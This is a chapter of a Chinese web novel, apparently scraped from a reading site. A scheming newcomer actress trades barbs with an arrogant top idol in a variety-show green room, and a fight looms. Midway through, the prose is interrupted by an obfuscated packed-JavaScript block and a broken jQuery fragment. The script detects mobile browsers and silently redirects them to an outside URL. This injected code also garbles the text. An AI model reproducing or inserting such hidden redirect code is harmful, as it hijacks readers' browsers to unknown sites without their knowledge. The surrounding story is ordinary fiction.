一时间,戈钺浩发飙也不是,忍耐也不是。
他当初是背着经纪人偷偷去找苏衍卿的。
自从红了之后,整天有男男女女往他身上贴,想要靠着这些歪门邪道红起来,戈钺浩简直烦不胜烦。
加上苏衍卿前不久刚刚爆出蹭晏影帝热度的新闻,他警铃大作,得知这个女人也要上秦椰的综艺,立刻生出危机感。
他可不想跟晏息辞一样,意外成为这个心机新人往上爬的踏板。
就算到现在,戈钺浩依然觉得自己没有错,但说出来确实有点丢人。
就在他支支吾吾,进退两难的时候,休息室的大门又一次打开。
人未至声先到。
“哎呦可算是挤进来了。”
“外面好多粉丝是谁的呀……”
知名综艺咖缘美甜摘下渔夫帽,圆圆的脸庞很是可爱,笑容更是亲切讨喜,让人一看就心生好感。
她进门环顾一圈,像是丝毫没有感觉到紧张的氛围,一下子找到熟人。
“哇哦,浩浩,我就知道是你!”
缘美甜似乎跟戈钺浩十分熟悉。
她一屁股坐到对方附近,关切地道:“怎么这个脸色呀,有人让你生气了?”
戈钺浩玩着手里的墨镜,脸上余怒未消,但还是道:“没什么。”
缘美甜进来这一打岔,苏衍卿也不好继续发难,只好遗憾地在自己位置上坐下,等待下一波机会。
她在手机搜索栏里打下几个字:戈钺浩黑料。
坐在后排的晏息辞看得清楚:“……”
另一边。
跟梁弘大前辈等人问过好后,缘美甜看向坐在助理们旁边的唐庆,对戈钺浩道:“你怎么这么好啊,上节目居然还带师弟。”
戈钺浩一哂:“公司要求而已,跟他不熟。”
自从他成了顶流,经纪公司整天指望他拖飞机,恨不得把全公司的艺人都塞到他身边让他带。
烦死了。
也不看看那些歪瓜裂枣,有没有红的资本,一天天做什么美梦呢!
正在搜索敌人黑料的苏衍卿听见动静,暗中观察。
唐庆坐得离那两人不远,戈钺浩又没压低声音,他肯定能听见。
但他还是一脸平静地低着头,好像对话里说的不是他。
缘美甜面上挂笑,声音压低几分。
但休息室里很安静,她的声音还是清楚传递到每个人的耳畔。
“这好歹是秦椰的新综哎!你们公司真的是把你利用到极致了,顶着得罪秦椰的风险也要塞人?”
戈钺浩一脸暴躁地按着手机,没说话。
“你刚播完那部戏成绩不是很好嘛?不如出来单干算啦。”缘美甜又道。
哪有这么简单?
戈钺浩深吸一口气,猛地抬起头,开口却变成了:“唐庆,帮我倒杯咖啡,起这么早困死了。”
缘美甜张了张嘴,被这么一打断,也不好再继续刚才的话题。
唐庆刚要起身,突然旁边传来一道清凌凌的女声。
“八百个助理还不够你使唤呐?”
休息室里除了几位嘉宾之外,还有艺人带来的经纪人助理化妆师等等,刚刚一直有低低的说话声。
但在苏衍卿开口后,所有人的交谈戛然而止。
戈钺浩也愣了一下,转头看她,一肚子的火顿时找到了倾泻渠道:“你谁啊?没完了是吧?”
他当然不是不认识苏衍卿,只是用这个问题提醒对方——你还没资格这样跟我说话。
娱乐圈,咖位等于一切。
自从红了以后,戈钺浩已经很久没有遇到敢这样跟他说话的人了。
苏衍卿还没开口,缘美甜先笑嘻嘻地道:“我记得你。是之前故意假装摔倒,把红酒泼在晏影帝身上那个戏精吧?”
四周隐约响起笑声。
缘美甜像是自知失言,掩唇补救:“开个玩笑,别生气啊。”
这话说的。
明明是她挑事在先,却还不许别人生气,好像生了气就是气量狭窄,“开不起玩笑”似的。
苏衍卿没说话,凉凉地看着她。
终于有人帮自己出气了。
戈钺浩浑身舒爽。
他往后一靠,嘴角噙笑,眼底流淌着无需掩饰的傲慢。
“啧,秦制片什么情况,这种人都能来录他的节目?”
休息室里一片寂静,各种意味的视线汇聚到苏衍卿身上。
顶流戈这么不客气,换做旁人估计要难堪得掩面奔逃,苏衍卿却求之不得。
她轻轻蹙眉,眼底露出几分怜悯,抱着胳膊回敬道:“可能是你要糊了吧,才会沦落到跟我上同一个节目。”
“嘶——”
这么直接的吗!
一时间,休息室里的吸气声此起彼伏。
好像连空气都稀薄了几分。
顶流戈的经纪人匆忙上前,挡在戈钺浩和苏衍卿之间,冲着苏衍卿疯狂地挤眉弄眼。
“说什么呢,我们浩哥听不得那个字的。”
苏衍卿躲开他企图捂嘴的手,故意拔高声音:“哪个字?糊吗?”
经纪人眼前一黑。
“嗬——”
戈钺浩猛然站起身,没头苍蝇似的乱转几步,叉着腰开始深呼吸。
他带来的助理一拥而上,像一群专业幼师围着他安抚劝哄,就差掏出个奶嘴来了。
“哥,哥冷静。”
“不听哈,咱什么都没听见,什么都没听见!”
戈钺浩挥开围上来的人,抬手指着苏衍卿,声音猛地拔高,像是被人踩到尾巴的猫:“你信不信我一句话让你从此在圈里混不下去?”
这话听着怎么这么耳熟呢?
苏衍卿想起来了。
之前去影视城勤工俭学的时候,那帮狐假虎威的剧组小领导最爱这么说话。
没想到顶流威胁人也是这一套。
她差点笑出声:“哎呦喂,那我现在可得多说两句,免得日后没机会。”
想起刚刚在网上搜到的新闻,苏衍卿再接再厉,扬声问:“听说男二号都得给你让妆,是怕你年纪大了人老珠黄,抹太厚在镜头里卡粉吧?”
藏在人堆里的晏息辞:“……”
戈钺浩还比他小两岁呢,听着这话总觉得自己的膝盖中了一箭是怎么回事。
在场其他嘉宾默不作声,有意无意地注视着这场闹剧。
眼中闪烁着吃瓜的光芒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126736|196110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
戈钺浩的助理快要绝望了,生怕他在这里突然耍脾气摆烂罢录,原地丢下一堆烂摊子。
“哥,咱不理她!”
戈钺浩一把拍开助理添乱的手,怒吼一声:“苏衍卿!”
苏衍卿挑眉笑道:“哟,这不是知道我名字么,刚刚装什么呢。”
戈钺浩面色涨红,脸颊肌肉飞快颤抖,顶流小生的形象荡然无存。
他指着她,先前的顾虑尽数抛到脑后,气急败坏地道:“你干嘛一直针对我?就因为我的粉丝把你认成私生?”
“顶流哥真是贵人多忘事。”
苏衍卿面带讥讽,抬脚绕过沙发,不慌不忙地走近。
一听这话,戈钺浩被怒火压制的理智回来几分,暗道不好。
但他已经来不及阻拦。
只能眼睁睁看着苏衍卿张嘴,对他道:“前两天特意找到我,嘲讽威胁我的人难道不是你吗?”
戈钺浩倨傲的嘴脸记忆犹新。
她身为十八线,面对顶流不得不低声下气,但不代表她没有脾气。
刚刚打算起身劝架的其余嘉宾听见这话,不约而同地坐了回去。
有瓜?
戈钺浩的经纪人面色一白,肉眼可见地晃了晃,绝望地转头看向自家艺人。
这祖宗啥时候作的死?
戈钺浩就知道苏衍卿不会放过自己,听见这句话,反而有种尘埃落定的平静。
既然已经暴露,他索性破罐子破摔。
反正他也没觉得这是多大的事,自己的行为合情合理,顶多回头被经纪人念叨两句。
戈钺浩耸肩,两手一摊:“你能干出红酒泼影帝的事情,我让你别蹭老子,有什么问题?”
听见这话,旁边的晏息辞突然想起当初刘成貂曾经跟他提起过,红酒事件并不是意外。
他本来打算等拿到证据就告诉苏衍卿这件事的真相,让她不要再为此愧疚。
可惜,刘成貂办事不力,到现在为止还没有找出凶手是谁。
面对振振有词的戈钺浩,苏衍卿咽下解释的话语。
如果是正常情况下,不论其他人信不信,她都会解释红酒事件只是一场意外。
但今天,她的任务就是惹事。
苏衍卿上前一步,不躲不让地看向他,眼底的轻蔑和讥讽比起对方有过之而无不及。
“你谁啊,敢跟晏影帝相提并论?人家的地位是靠作品积累出来的。”
“您呢?整天在热搜上营销些鸡毛蒜皮,拿的出手的实绩有几部?”
戈钺浩不是喜欢以咖位压人么?
那她不妨好好提醒一下他跟晏息辞之间的距离。
“有那闲工夫跑来警告我,倒不如去找个老师重新练练台词,省得每部戏都要花钱请配音演员给您擦屁股——这个岁数,光靠脸也撑不了几年了吧?”
“你!”
戈钺浩的理智彻底崩断,想也没想地扬起手——
眼看事情发展到要动手的地步,坐在角落的晏息辞面色一变,起身打算上去阻拦。
可惜,还是慢了一步。
“嘭!”
伴随着一声巨响,休息室里的所有人都被眼前一幕定格在原地,忘记了动作。